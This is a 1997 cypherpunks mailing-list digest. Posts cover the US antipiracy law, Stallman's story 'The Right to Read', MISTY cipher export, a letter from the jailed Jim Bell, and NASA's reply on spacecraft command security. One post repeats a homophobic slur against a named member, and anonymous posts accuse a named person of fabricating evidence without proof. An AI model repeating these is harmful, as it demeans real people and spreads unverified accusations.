RSA fingerprint: FE90 1A95 9DEA 8D61  812E CCA9 A44A FBA9
RSA key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x55C78B0D
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
Lammar Laboratories       |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: schear@lvdi.net
---------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian the Obscure <briandaniels@mindspring.com>
Date: Thu, 18 Dec 1997 06:17:04 +0800
To: Lizard <sunder@brainlink.com>
Subject: Re: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <v03007800b0bdda1834b5@[204.254.22.35]>
Message-ID: <3.0.3.32.19971217170754.03dc2f70@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:51 AM 12/17/97 -0800, Lizard wrote:
>
>At 02:42 PM 12/17/97 -0500, Declan McCullagh wrote:
>>At 12:37 -0500 12/17/97, Ray Arachelian wrote:
>>>You have a CD player at home and use a walkwan when walking around, so you
>>>tape your CD's so you can listen to them. Wham! Instant jail time.
>>
>>Yes, if you copy $1,000 worth of CDs within six months.
>>
>At rougly 15.00/CD, that is one CD every three days, more or less..not
>utterly inconveivable, but a little difficult.

Try this scenario:  I have 150+ audio cd's, many of which are rare, import,
out of print, or even all of the above.  Since a fire could leave me
missing many pieces of irreplaceable music, I had come up with a plan.  Get
a cd-r burner, make backup copies of my audio discs, and store them in a
safe deposit box.

With this law, my plan would make me a felon somewhere around the 66th
disc.  With the 'victimized' record company getting to create the impact
statement, it might even be sooner.

--Brian
"But I thought everyone had CD's at the bank!"
Brian Daniels               | Gremlins squashed, bit-buckets emptied,
briandaniels@mindspring.com | webs woven&patched, cables untangled,
                            | users placated (extra fee), demons
                            | invoked&dispelled, hacks while you wait!
		http://www.mindspring.com/~briandaniels

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Mon, 22 Dec 1997 01:52:28 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: "The Right to Read" by Richard Stallman
Message-ID: <19971218.193138.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    unfortunately, Stallman's "The Right to Read" is no longer
    science fiction.  Clinton signed the revised copyright
    law, with the abridgement of fair use, punishable by
    rather draconian fines, the 16th.
    
    technically, it is quite feasible to force the use of the
    "thin client" which can contain unmodifiable firmware
    identification and authentication. add an LCD minicam to
    the CPU coded monitor and retinal identification can be
    employed.

    Dan and Lissa joined the Luna revolution when they were
    unable to read the research papers after their student
    grants expired and the thin client workstations banned
    their own writings without a captive association.

    MicroSoft refused to store their data without a government 
    license, and paper copies were banned.

    Dan and Lissa were aboard the last passenger capsule before
    the government initiated non-consenual innoculation with a 
    temperature variation powered data ID microchip under the 
    skin of your right wrist.

    notes:
   
    1.  _if_ history is written accurately (even if it is slanted
        to be Clinton correct), it will show that FDR changed the
        American government and financial management, and Clinton
        destroyed the freedom of information. inevitable, I suppose,
        since Hillary communes with Eleanor.

    2.  Microsoft actually has a proposal out to major companies
        to provide massive data farm banks...  just adding another
        chink in Billy's drive to control information --the
        ultimate aphrodisiac.

- - ---------- Forwarded message ----------
Date: Sat, 8 Feb 1997 02:41:21 -0500
From: Richard Stallman <rms@gnu.ai.mit.edu>
To: declan@well.com
Subject: Re: Feb CACM

Here is my CACM story.  It is my first published work of science fiction.


Copyright (C) 1996 Richard Stallman
Verbatim copying is permitted provided this notice is preserved.
This article appeared in the February 1997 issue of Communications of the
ACM (Volume 40, Number 2).


			The Right to Read
				by Richard Stallman

	     (from "The Road To Tycho", a collection of articles
	      about the antecedents of the Lunarian Revolution,
	      published in Luna City in 2096)

For Dan Halbert, the road to Tycho began in college--when Lissa Lenz
asked to borrow his computer.  Hers had broken down, and unless she
could borrow another, she would fail her midterm project.  There was
no one she dared ask, except Dan.

This put Dan in a dilemma.  He had to help her--but if he lent her his
computer, she might read his books.  Aside from the fact that you
could go to prison for many years for letting someone else read your
books, the very idea shocked him at first.  Like everyone, he had been
taught since elementary school that sharing books was nasty and
wrong--something that only pirates would do.

And there wasn't much chance that the SPA--the Software Protection
Authority--would fail to catch him.  In his software class, Dan had
learned that each book had a copyright monitor that reported when and
where it was read, and by whom, to Central Licensing.  (They used this
information to catch reading pirates, but also to sell personal
interest profiles to retailers.)  The next time his computer was
networked, Central Licensing would find out.  He, as computer owner,
would receive the harshest punishment--for not taking pains to prevent
the crime.

Of course, Lissa did not necessarily intend to read his books.  She
might want the computer only to write her midterm.  But Dan knew she
came from a middle-class family and could hardly afford the tuition,
let alone her reading fees.  Reading his books might be the only way
she could graduate.  He understood this situation; he himself had had
to borrow to pay for all the research papers he read.  (10% of those
fees went to the researchers who wrote the papers; since Dan aimed for
an academic career, he could hope that his own research papers, if
frequently referenced, would bring in enough to repay this loan.)

Later on, Dan would learn there was a time when anyone could go to the
library and read journal articles, and even books, without having to
pay.  There were independent scholars who read thousands of pages
without government library grants.  But in the 1990s, both commercial
and nonprofit journal publishers had begun charging fees for access.
By 2047, libraries offering free public access to scholarly literature
were a dim memory.

There were ways, of course, to get around the SPA and Central
Licensing.  They were themselves illegal.  Dan had had a classmate in
software, Frank Martucci, who had obtained an illicit debugging tool,
and used it to skip over the copyright monitor code when reading
books.  But he had told too many friends about it, and one of them
turned him in to the SPA for a reward (students deep in debt were
easily tempted into betrayal).  In 2047, Frank was in prison, not for
pirate reading, but for possessing a debugger.

Dan would later learn that there was a time when anyone could have
debugging tools.  There were even free debugging tools available on CD
or downloadable over the net.  But ordinary users started using them
to bypass copyright monitors, and eventually a judge ruled that this
had become their principal use in actual practice.  This meant they
were illegal; the debuggers' developers were sent to prison.

Programmers still needed debugging tools, of course, but debugger
vendors in 2047 distributed numbered copies only, and only to
officially licensed and bonded programmers.  The debugger Dan used in
software class was kept behind a special firewall so that it could be
used only for class exercises.

It was also possible to bypass the copyright monitors by installing a
modified system kernel.  Dan would eventually find out about the free
kernels, even entire free operating systems, that had existed around
the turn of the century.  But not only were they illegal, like
debuggers--you could not install one if you had one, without knowing
your computer's root password.  And neither the FBI nor Microsoft
Support would tell you that.

Dan concluded that he couldn't simply lend Lissa his computer.  But he
couldn't refuse to help her, because he loved her.  Every chance to
speak with her filled him with delight.  And that she chose him to ask
for help, that could mean she loved him too.

Dan resolved the dilemma by doing something even more unthinkable--he
lent her the computer, and told her his password.  This way, if Lissa
read his books, Central Licensing would think he was reading them.  It
was still a crime, but the SPA would not automatically find out about
it.  They would only find out if Lissa reported him.

Of course, if the school ever found out that he had given Lissa his
own password, it would be curtains for both of them as students,
regardless of what she had used it for.  School policy was that any
interference with their means of monitoring students' computer use was
grounds for disciplinary action.  It didn't matter whether you did
anything harmful--the offense was making it hard for the
administrators to check on you.  They assumed this meant you were
doing something else forbidden, and they did not need to know what it
was.

Students were not usually expelled for this--not directly.  Instead
they were banned from the school computer systems, and would
inevitably fail all their classes.

Later, Dan would learn that this kind of university policy started
only in the 1980s, when university students in large numbers began
using computers.  Previously, universities maintained a different
approach to student discipline; they punished activities that were
harmful, not those that merely raised suspicion.

Lissa did not report Dan to the SPA.  His decision to help her led to
their marriage, and also led them to question what they had been
taught about piracy as children.  The couple began reading about the
history of copyright, about the Soviet Union and its restrictions on
copying, and even the original United States Constitution.  They moved
to Luna, where they found others who had likewise gravitated away from
the long arm of the SPA.  When the Tycho Uprising began in 2062, the
universal right to read soon became one of its central aims.


Author's Note:

The right to read is a battle being fought today.  Although it may
take 50 years for our present way of life to fade into obscurity, most
of the specific laws and practices described above have already been
proposed--either by the Clinton Administration or by publishers.

There is one exception: the idea that the FBI and Microsoft will keep
the root passwords for personal computers.  This is an extrapolation
from the Clipper chip and similar Clinton Administration key-escrow
proposals, together with a long-term trend: computer systems are
increasingly set up to give absentee operators control over the people
actually using the computer system.

The SPA, which actually stands for Software Publisher's Association,
is not today an official police force.  Unofficially, it acts like
one.  It invites people to inform on their coworkers and friends; like
the Clinton Administration, it advocates a policy of collective
responsibility whereby computer owners must actively enforce copyright
or be punished.

The SPA is currently threatening small Internet service providers,
demanding they permit the SPA to monitor all users.  Most ISPs
surrender when threatened, because they cannot afford to fight back in
court.  (Atlanta Journal-Constitution, 1 Oct 96, D3.)  At least one
ISP, Community ConneXion in Oakland CA, refused the demand and was
actually sued (https://www.c2.net/ispdc/).  The SPA is said to have
dropped this suit recently, but they are sure to continue the campaign
in various other ways.

The university security policies described above are not imaginary.
For example, a computer at one Chicago-area university prints this
message when you log in (quotation marks are in the original):

    "This system is for the use of authorized users only.  Individuals using
    this computer system without authority or in the excess of their authority
    are subject to having all their activities on this system monitored and
    recorded by system personnel.  In the course of monitoring individuals
    improperly using this system or in the course of system maintenance, the
    activities of authorized user may also be monitored.  Anyone using this
    system expressly consents to such monitoring and is advised that if such
    monitoring reveals possible evidence of illegal activity or violation of
    University regulations system personnel may provide the evidence of such
    monitoring to University authorities and/or law enforcement officials."

This is an interesting approach to the Fourth Amendment: pressure most
everyone to agree, in advance, to waive their rights under it.


References:

The administration's "White Paper": Information Infrastructure Task
Force, Intellectual Property and the National Information
Infrastructure: The Report of the Working Group on Intellectual
Property Rights (1995).

An explanation of the White Paper:
The Copyright Grab, Pamela Samuelson, Wired, Jan. 1996
(http://www.hotwired.com/wired 4.01/features/whitepaper.html).

Sold Out, James Boyle, New York Times, 31 March 1996
(http://www.ese.ogi.edu/sold.out.html).

Public Data or Private Data, Washington Post, 4 Nov 1996
(http://wp2.washingtonpost.com/cgi-bin/displaySearch?WPlate+33653+%28database%26
geneva%29%3Adescription%26and%2619961102%3Cevent%5Fdate).

Union for the Public Domain--a new organization which aims to resist
and reverse the overextension of intellectual property powers.  For
more information, see http://www.public-domain.org/.


Bio:

Richard Stallman received the 1990 ACM Grace Murray Hopper award for
developing GNU Emacs.  He is also the author of the free symbolic
debugger GDB, and founded the project to develop the free GNU
operating system.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNJ1Q1LR8UA6T6u61AQGpJwH+IZSj9oeAsjl3o9ikGH8a/BESVPNqew94
bHJkfS6+CA9n79GZhgZ6goej4z023gx/evuHHqqTL9UQDNroOWQFHA==
=d7kR
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Thu, 18 Dec 1997 09:51:49 +0800
To: cypherpunks@toad.com
Subject: Can I do Pubkic Domain that -
Message-ID: <19971218012702.5479.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Can I do Pubkic Domain that I posted MISTY source code before? 


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 18 Dec 1997 06:35:05 +0800
To: cypherpunks@toad.com
Subject: Re: UK spooks invent RSA, DH in 1973
Message-ID: <1.5.4.32.19971217222809.007293d8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Bellovin of ATT has posted a message on Cryptography
in response to the CESG paper in which he discloses a 1962 
National Security Action Memorandum by President Kennedy
on permissive link devices for nuclear weapons which apparently 
led to NSA invention of PK crypto. Matt Blaze obtained the NASM
under FOIA and Steve is offering it on his Web site as GIF images.

     http://www.research.att.com/~smb/nsam-160/pg?.gif

     where ? ranges from 1 through 7.  

We've transcribed the images and put them with Steve's message:

     http://jya.com/nsam-160.htm

BTW, Professor Denning posted an announcement of the CESG
paper to UK Crypto (where a notice had appeared earlier) with brief
comment of prior art signficance.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Mon, 22 Dec 1997 01:31:57 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: true in the near term: "Why M$ has won" (I@week)
Message-ID: <19971217.143950.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>> this echos my feelings on what actions Gates will take
    in the near term. frankly, the sooner he does it, the
    better off we will be --this needs to be done before
    the special master makes his recommendations in May and
    Gate$' actions will hopefully incense enough people that
    they will ask for his head on a platter. --the issue in
    my mind is that the wheels of justice turn too slowly.

Why Bill Gates won
By Tom Steinert-Threlkeld
December 12, 1997 5:11 PM PST
Inter@ctive Week Online

Netscape Communications Corp.'s stock finished up 6 percent
Friday and Microsoft Corp.'s fell 1.7 percent.

While still early in the game, it may be that Netscape's
shareholders are applauding U.S.  District Court Judge
Thomas Penfield Jackson too soon.  In the meantime,
Microsoft's owners may be the ones that should be shaking
his hand.

Best as these eyes can tell, nothing in the 19-page ruling
issued late Thursday says Microsoft can't bundle its
Internet Explorer browser with its Windows operating system.
Nor does anything in the ruling say Microsoft can't
integrate its browser into its operating system.

Instead, it says it can't use licensing tactics to achieve a
dominance in browsers.

"Whether or not the government has correctly defined
Microsoft's intentions, the probability that Microsoft will
not only continue to reinforce its operating system monopoly
by its licensing practices, but might also acquire yet
another monopoly in the Internet browser market, is simply
too great to tolerate indefinitely until the issue is
finally resolved."

So, it can't coerce computer makers to license the IE
browser as a condition of licensing the Windows operating
system, forcing them to install both onto the machines they
sell to the public.

If "licensing practices'' turns out to be the crux of all
this, big deal.  That simply gives Jim Barksdale and his
jubilant troops a few months in which to try and work new
deals with computer makers before Microsoft gets really
aggressive.

After all, what Judge Jackson has done is given Microsoft a
better view of the playing field before it.  It clearly will
not be able to argue effectively that a product that it also
sells as a stand-alone product to PC users can be considered
an "integral element'' of the machine's operating system.
Duh.

So, now, if you're in Bill Gates' typically ultra-aggressive
shoes, does this slow you down?  No, it could speed you up.
You simply come out with your fully integrated operating
system, where the features of the browser are built-in
essentials.  You dissipate demand for the browser as a
separate product.

Of course, this puts, as SoftLetter publisher Jeffrey Tarter
puts it, "tremendous pressure on them [Microsoft] to
integrate the products fully, so there's no question that IE
is not a separate product.''

But, if you're Mr.  Bill with a 90 percent share of the
desktop operating system market, isn't that the goal anyway?

As soon as you release Windows 98, you simply stop selling
IE as an independent product.  Cede, for a while anyway, the
Unix and Mac markets to Netscape.  And then see whether the
market does marginalize the market for an independent
product called a browser - where there already are no
margins today.

Then, to keep up with Netscape's "high-performance'' browser
(which you start to call a "utility"), you simply update
your operating system more often.  Windows June, perhaps?

Microsoft simply achieves, over a longer period of time, the
dominance it sought anyway.  Only the clock starts ticking
sooner than if it had left IE as an independent product.
Computer makers are not going to stop providing their
customers with an operating system.

The Department of Justice and Microsoft's Silicon Valley
opponents, of course, will try to push the point that
browsers must stay separate.  But it's unclear how strong
the legal lineage is behind the idea that once a product is
an independent product, it always must stay an independent
product.

If you're Bill Gates, do you sit back and wait to see how
this issue resolves itself in court?  Or do you push down
the pedal in the marketplace.

You'd have to believe he's shown his inclination many times
in the past.  And his shareholders count themselves the
beneficiaries.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNJfkD7R8UA6T6u61AQFTTAH9Fh/Mp/QluofgTSebYMRTz+t5eie3KEu6
3xM7nC7SPAUZPA0z4mlrWkdnKm+IPwRGqWbCDo/cAO0bnFipdDFr6Q==
=0Xyp
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bruce Balden" <balden@mail.bc.rogers.wave.ca>
Date: Thu, 18 Dec 1997 10:54:36 +0800
To: "Nobuki Nakatuji" <bd1011@hotmail.com>
Subject: Re: Can I do Pubkic Domain that -
Message-ID: <01bd0b5d$497dfee0$69737018@eudoxus.bc.rogers.wave.ca>
MIME-Version: 1.0
Content-Type: text/plain



Are you looking for access to the MISTY source code? It's still illegal to
export it pending an appeal to the U.S. Supreme Court. Even if that appeal
fails, Congress will likely pass amended laws and/or the NSA/Commerce Dept
will issue revised regulations on the same day that an unfavourable decision
is announced.

Those guys just never learn that not only is the barn door open, but that
contents were never theirs to begin with.

-----Original Message-----
From: Nobuki Nakatuji <bd1011@hotmail.com>
To: cypherpunks@toad.com <cypherpunks@toad.com>
Date: Wednesday, December 17, 1997 6:22 PM
Subject: Can I do Pubkic Domain that -


>Can I do Pubkic Domain that I posted MISTY source code before?
>
>
>______________________________________________________
>Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 18 Dec 1997 07:57:13 +0800
To: cypherpunks@toad.com
Subject: Jim Bell Letter
Message-ID: <1.5.4.32.19971217235045.006bf868@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Date: Wed, 17 Dec 1997 15:32:43 -0800
To: jya@pipeline.com
From: Anonymous
Subject: Letter from Jim 12/17

I received a letter from Jim today.   He apologizes for taking so long to
reply, citing his transfer to the Federal Detention Center and that, at
that time, everything except his legal papers were "lost", including my
address and telephone number. ... He says (for your web page, John): 

------------------------

. He mentions that he was sentenced to 11 months, and that mathematics
suggests that since he's been in for almost 7 months, he only has 4 months
to go.  "It'll be hard to wait this long, but that's life."

. "Unfortunately, I've been getting some highly-distorted (bad) publicity
in the last few weeks.  It is obvious that the government is trying to
engage in a "character assassination" spree against me.  They will fail in
the end, but it will be painful to me until then.  Please explain this to
the public.  Thanks."

. Currently he's only allowed one call per week, and so he will be making
that call to his relatives.  However, he does intend to write.  

. It won't be possible to make visits to him at this time, because, "This
place has weird rules, as it is supposed to be a "temporary" holding
facility, and only close family members are allowed to visit."

.  "If anyone has an old paperback copy of the book "2010" that they can
spare, I'd appreciate it."

.  His new address:

		Register 26906-086
		Federal Detention Center
		P.O. Box 68976
		Seattle, WA 98168

-----------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Thu, 18 Dec 1997 11:24:31 +0800
To: balden@mail.bc.rogers.wave.ca
Subject: Re: Can I do Pubkic Domain that -
Message-ID: <19971218030626.14645.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



As for me, posted MISTY source code from Japan. 
Why is it improper if permission isn't taken from NSA/Commerce Dept ? 
>
>Are you looking for access to the MISTY source code? It's still illegal 
to
>export it pending an appeal to the U.S. Supreme Court. Even if that 
appeal
>fails, Congress will likely pass amended laws and/or the NSA/Commerce 
Dept
>will issue revised regulations on the same day that an unfavourable 
decision
>is announced.
>
>Those guys just never learn that not only is the barn door open, but 
that
>contents were never theirs to begin with.
>
>-----Original Message-----
>From: Nobuki Nakatuji <bd1011@hotmail.com>
>To: cypherpunks@toad.com <cypherpunks@toad.com>
>Date: Wednesday, December 17, 1997 6:22 PM
>Subject: Can I do Pubkic Domain that -
>
>
>>Can I do Pubkic Domain that I posted MISTY source code before?
>>
>>
>>______________________________________________________
>>Get Your Private, Free Email at http://www.hotmail.com
>
>



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 18 Dec 1997 02:51:14 +0800
To: m2n@alpha.jpunix.com
Subject: Re: Another of Gary Burnore's Lies Exposed
In-Reply-To: <3498e982.168339945@nntp.best.ix.netcom.com>
Message-ID: <199712171836.TAA19120@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



"Sam" <sam-001@dpinc.ml.org> wrote:

> Yes, I take that back.  It is somewhat difficult to find a kernel of truth
> amidst all the dreck in Gary Burnore's posts.  However, you still have not
> elaborated how you've come into posession of some information that,
> apparently, only someone with access to Databasix's inside information
> would know.

[...]

> >>> If I don't know him, how could he be a "DataBasix employee"?
> >>
> >>I see no other reason how he can be privvy to so much inside information.
> >>I am not aware that he ever stated the source for his information.
> >
> > Go back and read my posts from the past weekend.  Slowly this time.
> 
> Still, no explanation for how you could confidently state that "all"
> accounts at Databasix were spambaited.

Or why, if Rashid's explanation of the alleged "spam baiter's" access to the
list of account-holders at DataBasix is to be believed, *ALL* accounts at
DataBasix would be published on a publicly-accessible web page.  (Why worry 
about a spammer getting them from a usenet post when they're just sitting on 
the web, ripe for harvesting?  If the alleged "spam baiter" supposedly found
them there, then the UCE address harvesters could have done the same.)  Thus,
even if Gary's unsubstantiated claims of an increase in UCE at DataBasix are
true,  it could as easily be attributable to Gary's "spam baiting" of those
addresses himself on a public web page as to a hypothetical SECONDARY "spam 
baiter" reposting that same information to usenet.

Had there been an outside "spam baiter" snarfing addresses from one of
DataBasix' own web pages, and Rashid knew which page was the source of this
information leak, I'm curious why Gary didn't check his httpd logs and find
out who the culprit was.  Assuming the alleged spam baiting was the work of
an outside attacker, then Gary's own logs would have proven more useful than
Jeff Burchell's remailer logs.  Since the page doesn't show up in any of the
search engines I know about, it would likely have had a very low hit count,
and probably all from a single suspect.  OTOH, if Rashid Kaman is not
telling the truth about this mystery web page, then Gary's logs would have
yielded nothing and there would be no plausible way to explain how an outside
attacker supposedly obtained the addresses in the first place.

I also notice that Rashid Kaman was the one who publicly accused rfg of
harassing an unnamed "teenage girl" who had a web page on the DataBasix site.
Did this mysterious spam bait web page at DataBasix also include the AGE of
each employee and customer?  Was this mystery "teenage girl" an employee or
a customer of DataBasix?  How did Rashid find out about her alleged
harassment?

It gets curioser and curioser...

> >>Therefore, when I see evidence that someone is lying through his teeth, and
> >>manufacturing evidence, I would very much like to discuss it.
> >  
> > You are seeing demons where there are none.   If your contributions
> > are cross examinations rather that research, you are about to become
> > one more rehashing ignorant bore.
> 
> There aren't any demons.  I've asked Gary Burnore to elaborate why was he
> lying when he claimed in July that a certain post that came out of a
> remailer, which had a return address at databasix.com, did not come from
> his machine.  He was using that as an excuse for harassing Jeff Burchell.
> 
> I pointed out something that Gary Burnore hoped that nobody would notice:
> that post DID, in fact, come from databasix.com, due to a buggy mail
> server.  It would've been one thing for Mr. Burnore to complain about
> someone exploiting a security hole in his machine, but that's not what he
> was doing.

Other than one of the "spam baits" showing up with Gary Burnore's .sig still
attached to the post, and that message being posted when the finger daemon
at databasix.com showed Gary Burnore being remotely logged into databasix.com
from his work account at wellsfargo.com at about the same time the post was
made, this is the most direct evidence of phony "evidence" being fabricated
at DataBasix itself intended to implicate a remailer in alleged "abuse".

> I pointed this out to Mr. Burnore back in July, which he ignored, and once
> again, last week, in a way that he could not ignore.  Instead of explaining
> the reason for his misrepresentation, instead of explaining why he was  
> lying back in July (since I find it hard to believe that someone who is
> supposed to be in charge of administering the software on a machine would
> not recognize a return receipt that's issued by his own system), his only
> response was, and I quote: "Plonk".

No one has ever accused Gary Burnore of being particular clever or meticulous
in fabricating evidence.

> Since you apparently have access to inside information at Databasix, I am
> wondering that perhaps you may be able to come up with an explanation,
> instead of Mr. Burnore.  Apparently, he's somewhat at a loss for words,
> right now.

If Rashid doesn't know, perhaps he can consult his unnamed "unimpeachable
source" who seems to know everything about the antics of DataBasix.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Thu, 18 Dec 1997 06:06:04 +0800
To: cypherpunks@Algebra.COM
Subject: OTP
Message-ID: <19971217220005.17234.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



>Tim C[ocksucker] May's abysmal grammar, atrocious spelling and feeble
>responses clearly identify him as a product of the American education system.
>
>          0
>        //\/ Tim C[ocksucker] May
>       \/\
>     ... /

Ouch! Claiming he came from the American education system and bought the
bullshit they feed their students? That's the worst insult I've heard in 
weeks! And no this isn't sarcasm.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Remo Pini <rp@rpini.com>
Date: Thu, 18 Dec 1997 06:12:42 +0800
To: cypherpunks@toad.com
Subject: Re: Dr. Dobbs Crypto CD
In-Reply-To: <199712171325.IAA08971@bastion.solipsys.com>
Message-ID: <3.0.2.32.19971217225723.009a12c0@193.192.247.149>
MIME-Version: 1.0
Content-Type: text/plain



At 10:05 17.12.97 -0500, you wrote:
>On Wed, 17 Dec 1997, Mike Gurski wrote:
>
>> Has anyone received their DDJ crypto CD that's been advertised for the
>> past half year?
>
>Not me.  I ordered both the crypto CD and the latest Dr. Dobbs on CD (back
>issues and such) at the same time.  I got the Dr Dobbs Mag CD about two
>months ago, but no crypto CD. :(
>
>
>You might wanto check Remo Pini's Crypto CD.  It doesn't have the books
>online, but plenty of cyphers and stuff. (rpini.com ??)

It's at http://www.rpini.com/crypto/cryptocd.html

Greets,
Remo Pini
-----------------------------------------------------
Fate favors the prepared mind. (from "Under Siege 3")
-----------------------------------------------------
Remo Pini                         T: +41  1 350 28 88
Pini Computer Trading             N: +41 79 216 15 51
http://www.rpini.com/                 E: rp@rpini.com
key: http://www.rpini.com/crypto/remopini.asc        
-----------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Thu, 18 Dec 1997 15:05:42 +0800
To: cypherpunks@toad.com
Subject: MISTY is patented International Patent
Message-ID: <19971218065824.25374.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



MISTY is patented International Patent PCT/JP96/02154 by MITUBISHI Inc.
A license is needed to "make, use or sell".


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Fri, 19 Dec 1997 14:06:57 +0800
To: "Robert A. Costner" <fight-censorship@vorlon.mit.edu
Subject: Re: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <v03007800b0bdda1834b5@[204.254.22.35]>
Message-ID: <3.0.3.32.19971217235654.006cb558@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 03:14 PM 12/17/97 -0500, Robert A. Costner wrote:
>Just what is the meaning of "Willful" in this context?

IANAL, but if I convert my MAK-90 to fire full-auto, and I get caught with
it, I am going to spend some serious time in prison regardless of whether
or not I had a clue that doing so was illegal, or whether I even knew the
weapon had been converted.  Mere posession of such a device is sufficient
to convict me.  I think the antipiracy law will probably be enforced
"cherry on the sundae" style--I doubt cops will do house-to-house searches
looking for illegal copies of things, but if you get busted for something
else, they will probably throw piracy charges in to get you to plea
bargain.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBNJjXRcJF0kXqpw3MEQKVpQCglfS/v9WcNh60/EnMKBiYiNRWcbIAoNkS
AsMgV16dKPSEkeg33FHHI3K0
=aeTg
-----END PGP SIGNATURE-----


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

Never sign a contract that contains the phrase "first-born child."

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 18 Dec 1997 16:10:38 +0800
To: cypherpunks@Algebra.COM
Subject: Re: DSN authentication? (fwd)
Message-ID: <Pine.SUN.3.91.971218000221.24820A-100000@netcom6>
MIME-Version: 1.0
Content-Type: text/plain



Some of you may remember my post to the list a while back wondering 
which, if any, authentication is taking place on commands sent to space 
crafts such as the Mars Rover. Well, here is the official answer: "We use 
a private network and keep the protocol specs secret, therefore we don't 
have to worry about a thing".


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

---------- Forwarded message ----------
Date: Wed, 17 Dec 1997 12:14:35 -0800 (PST)
From: Public Info <info@deepspace1.jpl.nasa.gov>
To: Lucky Green <shamrock@netcom.com>
Subject: Re: DSN authentication?

Dear Mr. Green:
I now have a response to your questions of authentication from one of our
Deep Space Network Operations Managers, as follows:

The commanding of any spacecraft is performed via a closed and secured
network not accessed by the internet or the public. Direct connections
provided by NASCOM connect the DSN sites to the project operations centers.
There is no other branches nor interconnections available outside this
circuit. Each project center determines the bit structure of each command
sent, and not even the DSN sites that transmit the commands are aware of
the format, protocols, etc. Command data is not stored at the sites to
avoid sending commands inadvertently to the spacecraft. As a matter of
fact, DSN policy is not to accept responsibility for manually sending
commands even in case of a disaster. And, even within this closed circuit,
command data is given the highest priority and treated as sensitive data
and the command subsystems receiving and transmitting this data have been
classified with the with the highest NASA security level.

I hope this answers your question.  Thank you for your interest.

DSN Outreach Office









>What authentication methods are employed to authenticate commands sent via
>the DSN to space crafts and landers such as the Mars Lander? Please be
>specific. Algorithm names, key lenghts, protocol specs, etc.
>
>
>
>-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
>
>   "I do believe that where there is a choice only between cowardice and
>    violence, I would advise violence." Mahatma Gandhi








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hg-p@dev.null>
Date: Thu, 18 Dec 1997 16:03:28 +0800
To: cypherpunks@toad.com
Subject: Warez 1
